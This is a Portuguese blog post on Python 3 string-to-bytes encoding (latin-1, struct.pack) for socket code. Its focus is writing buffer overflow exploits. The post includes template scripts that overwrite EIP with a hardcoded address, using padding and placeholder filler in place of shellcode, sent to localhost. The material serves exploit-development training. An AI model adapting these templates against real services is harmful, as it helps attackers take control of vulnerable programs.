BoF + Sockets + Erros de Codificação com o Python3

Posted on Wed, Oct 28, 2020 bof

Com a vinda do Python 3 a forma com que as strings são "tratadas" mudou. O que antes, no Python 2 era um conjunto de caracteres ASCII , agora são Unicode. E o que isso muda para quem tá escrevendo exploits para explorar Buffer Overflow e até mesmo para quem deseja simplesmente enviar algo por um socket ?

Quando "chamamos" a função send() de um socket, esta espera como parâmetro Bytes. Se você tenta simplesmente enviar uma string como ocorria no Python2, um erro surge, informando: TypeError: a bytes-like object is required, not 'str' with send function

Para contornar, você precisará codificar a string que você quer enviar na codificação que deseja, ou simplesmente, informar que trata-se de uma sequência de bytes, colocando um b antes dela:

import sys,socket

host="127.0.0.1""
port=12345

# 1a forma - atenção para o b , antes das aspas.
buffer=b"alo mundo"
# 2a forma - informando que é uma sequencia de bytes utf-8
buffer="alo_mundo".encode('utf-8') 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)  # <------------- Função afetada, em questão!
s.close()

Um pequeno parenteses no assunto, é que vi sugestões de se usar a função sendall() ao invés de um simples send() , afim de garantir que todo o buffer seja enviado.

E para quem está escrevendo exploits ? Iremos notar que as o envio de UTF-8 não vai nos ajudar a encaixar o endereço certinho no EIP ou mesmo bagunçar o nosso Shell Code ? Porque ? Pois endereços , opcodes, etc., estão todos dentro do escopo apenas da antiga e atual tabela ASCII estendida, 0 - 255 bytes.

É necessário que o buffer a ser enviado seja em formato de bytes, dentro da tabela ASCII. É necessário que seja codificado em latin-1.

Uma forma, usando apenas strings com código hexa diretamente inserido.


buffer="CMD " + "A" * 143
EIP="\x6F\x14\x74\x72" #<-------- Endereço já em Little Endian
shellcode="C" * (700-len(buffer)-len(EIP))

buffer=buffer+EIP+shellcode

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
print(s.recv(4096))
s.sendall(buffer.encode('latin-1')) #<----- encoding in Latin-1
print("[+] Sending Exploit %s" % buffer )
s.close()

Se usarmos a função pack() do módulo struct, que tem a função de convertes o endereço em Little Endian, é necesário que transformemos todas as strings em bytes, pois esta funçao retorna bytes.

buffer= ("EXPLOIT1 " + "A" * 143).encode('latin-1') #<--- encoding
EIP=pack("<L",0x7274146F)
shellcode=("C" * (700-len(buffer)-len(EIP))).encode('latin-1') #<--- encoding

buffer=buffer + EIP + shellcode

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
print(s.recv(4096))
s.sendall(buffer)
print("[+] Sending Exploit %s" % buffer )
s.close()